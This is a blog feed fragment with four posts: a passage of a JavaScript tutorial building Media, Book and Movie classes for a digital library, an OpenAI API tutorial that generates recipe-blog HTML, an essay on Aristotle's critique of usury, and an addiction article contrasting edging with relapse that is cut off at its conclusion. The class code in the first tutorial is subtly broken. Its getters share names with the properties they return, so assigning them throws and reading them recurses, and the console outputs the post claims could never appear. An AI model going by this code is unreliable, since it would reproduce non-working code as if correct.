&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;class Media {  
  // Empty class body  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 2: Add a Constructor to the &lt;code&gt;Media&lt;/code&gt; Class&lt;/h2&gt;
&lt;p&gt;Next, add a constructor to the &lt;code&gt;Media&lt;/code&gt; class that accepts one parameter, &lt;code&gt;title&lt;/code&gt;. This will initialize shared properties for the child classes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;class Media {  
  constructor(title) {  
    this.title = title;  
    this.isCheckedOut = false;  
    this.ratings = [];  
  }  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 3: Add Getters for &lt;code&gt;Media&lt;/code&gt; Properties&lt;/h2&gt;
&lt;p&gt;We need to create getter methods for the &lt;code&gt;title&lt;/code&gt;, &lt;code&gt;isCheckedOut&lt;/code&gt;, and &lt;code&gt;ratings&lt;/code&gt; properties to make them accessible.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;class Media {  
  constructor(title) {  
    this.title = title;  
    this.isCheckedOut = false;  
    this.ratings = [];  
  }  
  
  get title() {  
    return this.title;  
  }  
  get isCheckedOut() {  
    return this.isCheckedOut;  
  }  
  get ratings() {  
    return this.ratings;  
  }  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 4: Add a Setter for &lt;code&gt;isCheckedOut&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;We should also provide a setter for the &lt;code&gt;isCheckedOut&lt;/code&gt; property to allow its value to be modified.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;set isCheckedOut(value) {  
  this.isCheckedOut = value;  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 5: Create &lt;code&gt;Media&lt;/code&gt; Methods&lt;/h2&gt;
&lt;p&gt;Add methods to &lt;code&gt;Media&lt;/code&gt; for managing the &lt;code&gt;isCheckedOut&lt;/code&gt; status, calculating the average rating, and adding new ratings.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;toggleCheckOutStatus&lt;/code&gt; &lt;strong&gt;Method:&lt;/strong&gt; This method toggles the value of &lt;code&gt;isCheckedOut&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;toggleCheckOutStatus() {  
  this.isCheckedOut = !this.isCheckedOut;  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;getAverageRating&lt;/code&gt; &lt;strong&gt;Method:&lt;/strong&gt; This method calculates the average of the ratings in the &lt;code&gt;ratings&lt;/code&gt; array.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;getAverageRating() {  
  const ratingsSum = this.ratings.reduce((currentSum, rating) =&gt; currentSum + rating, 0);  
  return ratingsSum / this.ratings.length;  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AddRating&lt;/code&gt; &lt;strong&gt;Method:&lt;/strong&gt; This method adds a new rating to the &lt;code&gt;ratings&lt;/code&gt; array.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;addRating(rating) {  
  this.ratings.push(rating);  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is a full code view of the media class above:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;class Media {  
  constructor(title) {  
    this.title = title;  
    this.isCheckedOut = false;  
    this.ratings = [];  
  }  
  
  get title() {  
    return this.title;  
  }  
  
  get isCheckedOut() {  
    return this.isCheckedOut;  
  }  
  
  get ratings() {  
    return this.ratings;  
  }  
  
  set isCheckedOut(value) {  
    this.isCheckedOut = value;  
  }  
  
  toggleCheckOutStatus() {  
    this.isCheckedOut = !this.isCheckedOut;  
  }  
  
  getAverageRating() {  
    const ratingsSum = this.ratings.reduce((currentSum, rating) =&gt; currentSum + rating, 0);  
    return ratingsSum / this.ratings.length;  
  }  
  
  addRating(rating) {  
    this.ratings.push(rating);  
  }  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 6: Create the &lt;code&gt;Book&lt;/code&gt; Class&lt;/h2&gt;
&lt;p&gt;Now, create a &lt;code&gt;Book&lt;/code&gt; class that extends the &lt;code&gt;Media&lt;/code&gt; class, inheriting its properties and methods.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;class Book extends Media {  
  constructor(author, title, pages) {  
    super(title);  
    this.author = author;  
    this.pages = pages;  
  }  
    
  get author() {  
    return this.author;  
  }  
  get pages() {  
    return this.pages;  
  }  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 7: Create the &lt;code&gt;Movie&lt;/code&gt; Class&lt;/h2&gt;
&lt;p&gt;Similarly, create a &lt;code&gt;Movie&lt;/code&gt; class that extends &lt;code&gt;Media&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;class Movie extends Media {  
  constructor(director, title, runTime) {  
    super(title);  
    this.director = director;  
    this.runTime = runTime;  
  }  
  
  get director() {  
    return this.director;  
  }  
  get runTime() {  
    return this.runTime;  
  }  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 8: Testing the &lt;code&gt;Book&lt;/code&gt; Class&lt;/h2&gt;
&lt;p&gt;Let’s create an instance of the &lt;code&gt;Book&lt;/code&gt; class and test its functionality.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const historyOfEverything = new Book(&apos;Bill Bryson&apos;, &apos;A Short History of Nearly Everything&apos;, 544);  
historyOfEverything.toggleCheckOutStatus();  
console.log(historyOfEverything.isCheckedOut); // Logs true  
  
historyOfEverything.addRating(4);  
historyOfEverything.addRating(5);  
historyOfEverything.addRating(5);  
console.log(historyOfEverything.getAverageRating()); // Logs 4.67
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 9: Testing the &lt;code&gt;Movie&lt;/code&gt; Class&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;Next, create an instance of the `Movie` class and test its methods.

const speed = new Movie(&apos;Jan de Bont&apos;, &apos;Speed&apos;, 116);  
speed.toggleCheckOutStatus();  
console.log(speed.isCheckedOut); // Logs true  
  
speed.addRating(1);  
speed.addRating(1);  
speed.addRating(5);  
console.log(speed.getAverageRating()); // Logs 2.33
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Additional Challenges&lt;/h3&gt;
&lt;p&gt;To further enhance this digital library, consider implementing the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Add more properties:&lt;/strong&gt; For example, add a &lt;code&gt;movieCast&lt;/code&gt; property to &lt;code&gt;Movie&lt;/code&gt; or a &lt;code&gt;songTitles&lt;/code&gt; property to &lt;code&gt;CD&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create a&lt;/strong&gt; &lt;code&gt;CD&lt;/code&gt; &lt;strong&gt;class:&lt;/strong&gt; Extend &lt;code&gt;Media&lt;/code&gt; and include properties like &lt;code&gt;artist&lt;/code&gt;, &lt;code&gt;songs&lt;/code&gt;, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validate ratings:&lt;/strong&gt; Ensure &lt;code&gt;addRating()&lt;/code&gt; only accepts values between 1 and 5.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implement a shuffle method:&lt;/strong&gt; Create a &lt;code&gt;shuffle&lt;/code&gt; method in the &lt;code&gt;CD&lt;/code&gt; class to return a randomly sorted array of songs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create a&lt;/strong&gt; &lt;code&gt;Catalog&lt;/code&gt; &lt;strong&gt;class:&lt;/strong&gt; This class could manage all &lt;code&gt;Media&lt;/code&gt; items in the library.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These tasks will help you deepen your understanding of JavaScript classes and inheritance while enhancing the functionality of your digital library.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Thanks to&lt;/strong&gt;: &lt;a href=&quot;https://www.codecademy.com/courses/learn-intermediate-javascript/projects/build-a-library&quot;&gt;Codecademy&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image.CvJuXpEz.png"/><enclosure url="/_astro/image.CvJuXpEz.png"/></item><item><title>OpenAI JavaScript API: Building a Recipe Blog</title><link>https://farros.co/blog/openai-javascript-api-building-a-recipe-blog/</link><guid isPermaLink="true">https://farros.co/blog/openai-javascript-api-building-a-recipe-blog/</guid><description>OpenAI JavaScript API: Building a Recipe Blog.</description><pubDate>Fri, 30 Aug 2024 09:12:07 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;p&gt;In this project, we’ll build a recipe generator that provides tailored recipe recommendations by providing the model with context about our dietary preferences, ingredients on hand, and cuisine favorites. We’ll practice prompt engineering to format the model output recipes in the best format for our blog.&lt;/p&gt;
&lt;p&gt;Let’s get cooking!&lt;/p&gt;
&lt;p&gt;Start the project by importing the &lt;code&gt;OpenAI&lt;/code&gt; class from the &lt;code&gt;openai&lt;/code&gt; library.&lt;/p&gt;
&lt;p&gt;import OpenAI from &quot;openai&quot;;&lt;/p&gt;
&lt;p&gt;Create a string variable named apiToken to store your OpenAI API key. Make sure this token is kept secure and never published to the public. To access the token you can create it on the following OpenAI page: &lt;a href=&quot;https://platform.openai.com/settings/profile?tab=api-keys&quot;&gt;https://platform.openai.com/settings/profile?tab=api-keys&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;const apiToken = &apos;your-openai-api-key&apos;;&lt;/p&gt;
&lt;p&gt;Initializing the OpenAI Client with the API Token: When creating an instance of the OpenAI class, pass the API token as an option to authenticate your requests.&lt;/p&gt;
&lt;p&gt;const client = new OpenAI({&lt;br&gt;
apiKey: apiToken&lt;br&gt;
});&lt;/p&gt;
&lt;p&gt;Create an &lt;code&gt;userProfile&lt;/code&gt; object, you can update the dietary restrictions, cuisine preferences, and ingredients to reflect Indonesian cuisine. Here is an example:&lt;/p&gt;
&lt;p&gt;const userProfile = {&lt;br&gt;
dietaryRestrictions: &apos;halal&apos;,&lt;br&gt;
cuisinePreferences: &apos;Indonesian, Sundanese, Javanese&apos;,&lt;br&gt;
ingredientsAvailable: &apos;tempeh, tofu, coconut milk, chili, lemongrass&apos;&lt;br&gt;
};&lt;/p&gt;
&lt;p&gt;This object includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dietaryRestrictions&lt;/code&gt; set to &lt;code&gt;&apos;halal&apos;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cuisinePreferences&lt;/code&gt; set to &lt;code&gt;&apos;Indonesian, Sundanese, Javanese&apos;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ingredientsAvailable&lt;/code&gt; set to &lt;code&gt;&apos;tempeh, tofu, coconut milk, chili, lemongrass&apos;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Create an object called &lt;code&gt;systemPrompt&lt;/code&gt; with the specified instructions for the AI, use the following syntax:&lt;/p&gt;
&lt;p&gt;const systemPrompt = {
role: &apos;system&apos;,
content: &apos;Generate an HTML code for a recipe blog that considers dietary restrictions, cuisine type, and ingredients.&apos;&lt;br&gt;
};&lt;/p&gt;
&lt;p&gt;Create a string variable named &lt;code&gt;**userContent1**&lt;/code&gt; that begins the user prompt. This string should start with a sentence indicating your intention to create a recipe blog post. Then, proceed to include the relevant data from the &lt;code&gt;**userProfile**&lt;/code&gt; object, making sure to specify what each piece of data from &lt;code&gt;**userProfile**&lt;/code&gt; represents.&lt;/p&gt;
&lt;p&gt;const userContent1 = &lt;code&gt;I want to create a recipe blog post. Here are my dietary restrictions: ${userProfile.dietaryRestrictions}. My cuisine preferences include: ${userProfile.cuisinePreferences}. The ingredients I have available are: ${userProfile.ingredientsAvailable}.&lt;/code&gt;;&lt;/p&gt;
&lt;p&gt;Construct a string called &lt;code&gt;userContent2&lt;/code&gt; that outlines the structure of a blog post, use the following syntax:&lt;/p&gt;
&lt;p&gt;const userContent2 = &lt;code&gt;Please provide a blog post with a title, description, ingredients, and instructions. Format the ingredients and instructions as follows: Ingredients should be bulleted, and instructions should be numbered.&lt;/code&gt;;&lt;/p&gt;
&lt;p&gt;Construct a string named &lt;code&gt;userContent3&lt;/code&gt; that establishes certain limitations for the recipe creation, use the following syntax:&lt;/p&gt;
&lt;p&gt;const userContent3 = &lt;code&gt;The recipe must use only the listed ingredients and should result in a single blog post with instructions not exceeding six steps.&lt;/code&gt;;&lt;/p&gt;
&lt;p&gt;Define an object named &lt;code&gt;userPrompt&lt;/code&gt; that holds the instructions for the AI, use the following syntax:&lt;/p&gt;
&lt;p&gt;const userPrompt = {&lt;br&gt;
role: &apos;user&apos;,&lt;br&gt;
content: &lt;code&gt;${userContent1}n${userContent2}n${userContent3}&lt;/code&gt;&lt;br&gt;
};&lt;/p&gt;
&lt;p&gt;This object includes the &lt;code&gt;role&lt;/code&gt; key with the value &lt;code&gt;&quot;user&quot;&lt;/code&gt; and the &lt;code&gt;content&lt;/code&gt; key with the concatenated strings &lt;code&gt;userContent1&lt;/code&gt;, &lt;code&gt;userContent2&lt;/code&gt;, and &lt;code&gt;userContent3&lt;/code&gt;, separated by newline characters for readability.&lt;/p&gt;
&lt;p&gt;To initiate a chat completion using the &lt;code&gt;client&lt;/code&gt; variable, follow these steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use the &lt;code&gt;client.chat.completions.create&lt;/code&gt; method.&lt;/li&gt;
&lt;li&gt;Pass the &lt;code&gt;model&lt;/code&gt; argument with the value &lt;code&gt;&quot;gpt-4o-mini&quot;&lt;/code&gt; or &lt;code&gt;&quot;gpt-4o&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Pass the &lt;code&gt;messages&lt;/code&gt; argument with an array containing &lt;code&gt;systemPrompt&lt;/code&gt; and &lt;code&gt;userPrompt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Assign the return value to a variable called &lt;code&gt;response&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here’s the code:&lt;/p&gt;
&lt;p&gt;const response = await client.chat.completions.create({&lt;br&gt;
model: &quot;gpt-4o&quot;,&lt;br&gt;
messages: [systemPrompt, userPrompt]&lt;br&gt;
});&lt;/p&gt;
&lt;p&gt;To output the chat completion reply content to the terminal, use the following syntax:&lt;/p&gt;
&lt;p&gt;console.log(response.choices[0].message.content);&lt;/p&gt;
&lt;p&gt;This will print the content of the AI’s reply to the terminal. Make sure to place this line after the &lt;code&gt;response&lt;/code&gt; variable has been assigned.&lt;/p&gt;
&lt;p&gt;The result of this process should be HTML code that is prepared for review and can then be published on the website. Here is an example of the response result:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html lang=&quot;en&quot;&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &amp;#x3C;title&gt;Halal Indonesian Tempeh and Tofu Curry&amp;#x3C;/title&gt;
    &amp;#x3C;style&gt;
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 20px;
            background-color: #f8f9fa;
        }
        .container {
            max-width: 800px;
            margin: auto;
            background-color: #fff;
            padding: 20px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        h1 {
            color: #343a40;
        }
        p {
            color: #6c757d;
        }
        ul, ol {
            color: #495057;
        }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=&quot;container&quot;&gt;
        &amp;#x3C;h1&gt;Halal Indonesian Tempeh and Tofu Curry&amp;#x3C;/h1&gt;
        &amp;#x3C;p&gt;This halal Indonesian tempeh and tofu curry is a delightful combination of Sundanese and Javanese flavors. This simple, yet delicious recipe incorporates tempeh, tofu, coconut milk, chili, and lemongrass to create a rich and flavorful dish perfect for any occasion.&amp;#x3C;/p&gt;

        &amp;#x3C;h2&gt;Ingredients&amp;#x3C;/h2&gt;
        &amp;#x3C;ul&gt;
            &amp;#x3C;li&gt;200g tempeh, cut into cubes&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;200g tofu, cut into cubes&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;400ml coconut milk&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;2 red chilies, finely chopped&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;2 stalks of lemongrass, bruised and finely chopped&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;Salt, to taste&amp;#x3C;/li&gt;
        &amp;#x3C;/ul&gt;

        &amp;#x3C;h2&gt;Instructions&amp;#x3C;/h2&gt;
        &amp;#x3C;ol&gt;
            &amp;#x3C;li&gt;Heat a large pan over medium heat and add a small amount of oil.&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;Add the tempeh and tofu cubes to the pan and fry until golden brown on all sides. Remove and set aside.&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;In the same pan, add the finely chopped chili and lemongrass. Sauté for 2-3 minutes until fragrant.&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;Pour in the coconut milk and bring the mixture to a gentle simmer.&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;Return the fried tempeh and tofu to the pan, stirring to coat them in the coconut milk mixture. Simmer for another 10 minutes, allowing the flavors to meld together.&amp;#x3C;/li&gt;
            &amp;#x3C;li&gt;Season with salt to taste and serve the curry hot with steamed rice or your favorite Indonesian side dishes. Enjoy!&amp;#x3C;/li&gt;
        &amp;#x3C;/ol&gt;
    &amp;#x3C;/div&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To view the output of an HTML script, you can create an HTML file on your local computer and then open it in a browser or you can also use an online site to view the HTML results, such as &lt;a href=&quot;https://html.onlineviewer.net&quot;&gt;https://html.onlineviewer.net&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here is a visual display of the HTML:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*q2wPNMAvcpgH8_AjWjfL1Q.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;This tutorial showcases how to leverage the OpenAI JavaScript API to create a tailored recipe blog generator. By integrating dietary preferences, available ingredients, and specific cuisine choices into the model’s prompts, you can generate customized, blog-ready recipes with minimal effort. Through this project, we’ve demonstrated the power of prompt engineering and API interaction to build dynamic content that meets users’ needs, offering a scalable solution for personalized recipe creation on your blog.&lt;/p&gt;
&lt;p&gt;Thanks to: &lt;a href=&quot;https://www.codecademy.com/courses/open-ai-api-coding-with-javascript/projects/openai-javascript-api-lab-recipe-blog&quot;&gt;Codecadem&lt;/a&gt;y&lt;/p&gt;</content:encoded><h:img src="/_astro/image.BJft69Ek.png"/><enclosure url="/_astro/image.BJft69Ek.png"/></item><item><title>Aristotles Critique of Usury &amp; The Natural Order</title><link>https://farros.co/blog/aristotles-critique-of-usury-money-justice-and-the-natural-order/</link><guid isPermaLink="true">https://farros.co/blog/aristotles-critique-of-usury-money-justice-and-the-natural-order/</guid><description>Aristotle’s Critique of Usury: Money, Justice, and the Natural Order.</description><pubDate>Sun, 25 Aug 2024 02:54:18 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;p&gt;In the modern era, the concept of charging interest on loans known as usury has become a standard aspect of financial systems worldwide. Banks, credit card companies, and lenders routinely charge interest as a means of generating profit. However, if we delve into the philosophical traditions of ancient Greece, we find a profound critique of this practice, particularly from one of history’s greatest thinkers: Aristotle. His views on usury offer a timeless reflection on the ethics of money, justice, and the natural order.&lt;/p&gt;
&lt;h2&gt;Aristotle’s Understanding of Money: A Means, Not an End&lt;/h2&gt;
&lt;p&gt;To understand Aristotle’s critique of usury, it’s essential to first grasp his conception of money and its role in society. Aristotle, writing in the 4th century BCE, approached the topic of money within the broader context of his philosophical exploration of nature, purpose, and ethics.&lt;/p&gt;
&lt;p&gt;For Aristotle, money was a human invention, a tool created to facilitate exchange within a community. In his seminal work “Politics,” he explains that money’s primary function is to act as a medium of exchange an agreed-upon measure that allows people to trade goods and services more easily. Aristotle saw money as inherently valuable not because of what it is, but because of what it represents: a means to acquire the things necessary for life.&lt;/p&gt;
&lt;p&gt;Unlike tangible goods such as food, livestock, or land, which have intrinsic value and can produce more of themselves (crops grow, animals reproduce), money is “sterile.” It cannot, by its nature, create more money. Aristotle emphasized that money is meant to be used, not to be accumulated for its own sake. When money is stockpiled or used to make more money, it becomes an end in itself rather than a means to an end. This, according to Aristotle, is a fundamental distortion of its natural purpose.&lt;/p&gt;
&lt;h2&gt;The Unnatural Practice of Usury&lt;/h2&gt;
&lt;p&gt;Aristotle’s concept of “natural” versus “unnatural” practices is central to his critique of usury. In his view, natural economic activities are those that align with the natural purposes of objects and contribute to human flourishing (eudaimonia). Farming, for instance, is natural because it produces food, which sustains life. Trade is natural because it enables people to obtain what they need by exchanging goods they have for goods they lack.&lt;/p&gt;
&lt;p&gt;Usury, however, falls into the category of unnatural practices. When a person lends money and charges interest, they are using money to generate more money, without any productive activity occurring in between. Aristotle argues that this is contrary to the natural order because it attempts to make something (profit) from nothing (sterile money).&lt;/p&gt;
&lt;p&gt;In his “Politics,” Aristotle writes, “Usury is most reasonably hated, because its gain comes from money itself, not from that for the sake of which money was invented. For money was intended to be used in exchange, but not to increase at interest.” This statement encapsulates his belief that usury is fundamentally unjust and contrary to the purpose for which money was created.&lt;/p&gt;
&lt;h2&gt;Justice and Fairness in Economic Transactions&lt;/h2&gt;
&lt;p&gt;Aristotle’s ethical framework is built around the concept of justice, which he defines as giving each person their due. Justice, in Aristotle’s view, is about maintaining balance and fairness in relationships, whether they be social, political, or economic.&lt;/p&gt;
&lt;p&gt;In the context of economic transactions, Aristotle believed that justice required equality and reciprocity. A fair transaction is one where both parties benefit proportionally from the exchange. For example, when a farmer sells wheat to a baker, both parties benefit the farmer gains money, and the baker gains raw material to produce bread.&lt;/p&gt;
&lt;p&gt;Usury, however, disrupts this balance. When a lender charges interest on a loan, they receive more than what they originally provided, creating an unequal exchange. The borrower, in turn, ends up paying back more than they borrowed, often leading to hardship or even ruin. Aristotle saw this as a violation of justice because it allows the lender to profit without contributing anything of value to the transaction.&lt;/p&gt;
&lt;p&gt;Moreover, Aristotle was concerned about the social implications of usury. He believed that practices like usury, which concentrate wealth in the hands of a few, lead to economic inequalities that can destabilize society. In a just society, wealth should be distributed in a way that supports the common good, rather than being hoarded by a small elite at the expense of the many.&lt;/p&gt;
&lt;h2&gt;The Pursuit of Eudaimonia: Economic Activity and the Good Life&lt;/h2&gt;
&lt;p&gt;At the heart of Aristotle’s philosophy is the concept of eudaimonia, often translated as “flourishing” or “the good life.” For Aristotle, the ultimate goal of human life is to achieve eudaimonia a state of being that is realized through virtuous activity and the fulfillment of one’s potential.&lt;/p&gt;
&lt;p&gt;Economic activity, in Aristotle’s view, should support this ultimate goal. The purpose of wealth and money is to provide the material conditions necessary for people to live well to have food, shelter, clothing, and the resources needed to participate in the life of the community. Economic practices should thus be oriented toward the common good and the well-being of all members of society.&lt;/p&gt;
&lt;p&gt;Usury, by contrast, is seen as an obstacle to the achievement of eudaimonia. By prioritizing profit over human well-being, usury distorts the true purpose of economic activity. It encourages the accumulation of wealth for its own sake, rather than for the sake of living a good life. In Aristotle’s ethical framework, this is not only unnatural but also morally wrong.&lt;/p&gt;
&lt;h2&gt;Relevance of Aristotle’s Critique in the Modern World&lt;/h2&gt;
&lt;p&gt;While Aristotle wrote in a very different economic context, his critique of usury remains relevant today, particularly in discussions about the ethics of finance and wealth distribution. In a world where debt and interest payments dominate many people’s lives, Aristotle’s concerns about the justice and fairness of economic practices resonate with modern debates about income inequality, predatory lending, and the moral responsibilities of financial institutions.&lt;/p&gt;
&lt;p&gt;Aristotle challenges us to reconsider the role of money in our lives and to question whether our economic systems truly serve the common good. His emphasis on justice, fairness, and the natural purposes of money provides a framework for evaluating the ethical dimensions of financial practices that, despite their ubiquity, may not always contribute to the well-being of individuals and society as a whole.&lt;/p&gt;
&lt;p&gt;As we navigate the complexities of modern finance, Aristotle’s insights remind us that the pursuit of wealth should never come at the expense of justice and human flourishing. Instead, economic practices should be guided by a commitment to fairness, reciprocity, and the common good principles that lie at the heart of Aristotle’s philosophy and continue to hold profound relevance today.&lt;/p&gt;
&lt;p&gt;Photo by &lt;a href=&quot;https://unsplash.com/@timbatec?utm_source=medium&amp;#x26;utm_medium=referral&quot;&gt;Pepi Stojanovski&lt;/a&gt; on &lt;a href=&quot;https://unsplash.com?utm_source=medium&amp;#x26;utm_medium=referral&quot;&gt;Unsplash&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image.DG-mX_eq.png"/><enclosure url="/_astro/image.DG-mX_eq.png"/></item><item><title>Comparison Between Edging and Relapse in Addiction</title><link>https://farros.co/blog/comparison-between-edging-and-relapse-in-addiction/</link><guid isPermaLink="true">https://farros.co/blog/comparison-between-edging-and-relapse-in-addiction/</guid><description>Comparison Between Edging and Relapse in the Context of Addiction: Which Is More Damaging?.</description><pubDate>Wed, 31 Jul 2024 04:04:10 GMT</pubDate><content:encoded>&lt;p&gt;In the realm of addiction, two concepts frequently arise as significant topics: edging and relapse. Both terms, despite their differences, have destructive impacts. This article will explain the differences between edging and relapse and why both can be dangerous in the context of addiction.&lt;/p&gt;
&lt;h2&gt;Edging vs. Relapse: Definitions and Differences&lt;/h2&gt;
&lt;p&gt;To understand the differences between edging and relapse, we can use the following metaphor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Edging&lt;/strong&gt;: Standing at the edge of a cliff. This represents a situation where someone toys with temptation or urges without fully giving in.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Relapse&lt;/strong&gt;: Falling into the abyss. This is when someone fully returns to addictive habits or behaviors after attempting to quit.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Many people believe it is better to be on the edge of the cliff as long as they don’t fall into it. They think that as long as they can control themselves, there is no harm in approaching temptation. However, there are several serious issues with this approach.&lt;/p&gt;
&lt;h2&gt;The Risks of Edging: Playing at the Edge of the Cliff&lt;/h2&gt;
&lt;p&gt;The main problem with edging is the feeling and the time spent. When we feel capable of controlling our desires, we often feel free to play at the edge of the cliff. The goal of approaching the cliff edge is the abyss itself. It’s just a matter of time before we actually fall.&lt;/p&gt;
&lt;p&gt;This can cause more damage than simply falling into the abyss, as we lose so much time spent playing at the edge of the cliff. Edging makes us feel as though we still have control, when in fact, we are very close to relapse.&lt;/p&gt;
&lt;h2&gt;Avoiding Triggers: Key to Overcoming Edging and Relapse&lt;/h2&gt;
&lt;p&gt;Avoiding triggers is an effective strategy in overcoming addiction. Triggers are situations, emotions, or environments that push us back into addictive behavior. Here are some strategies to avoid triggers:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Identify Triggers&lt;/strong&gt;: The first step is to recognize what our triggers are. Note the situations or feelings that bring about the urge for addiction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Avoid Risky Situations&lt;/strong&gt;: If we know that certain situations can trigger addictive behavior, avoid those situations as much as possible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manage Stress&lt;/strong&gt;: Stress is one of the main triggers of addiction. Find healthy ways to manage stress, such as exercising or writing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Build Social Support&lt;/strong&gt;: Have a strong social support network. Friends, family, and a supportive environment can help us stay on the right track and avoid triggers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Replace Negative Habits with Positive Ones&lt;/strong&gt;: Look for activities that can replace addictive habits. For instance, if smoking is the habit to be broken, try replacing it with activities like exercising.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Regarding Desires: Between Feeling Strong and Being Strong&lt;/h2&gt;
&lt;p&gt;Desires become a problem when we feel capable of overcoming them, thus feeling it is okay to approach them. There is a difference between feeling strong and being strong:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Feeling Strong&lt;/strong&gt;: Feeling capable of controlling urges, thus tending to play with temptation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Being Strong&lt;/strong&gt;: Striving to avoid urges as much as possible, consciously avoiding temptation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the context of addiction, it is important not only to feel strong but also to be strong by avoiding existing temptations. Being strong means acknowledging our weaknesses towards temptations and taking proactive steps to stay away from them.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
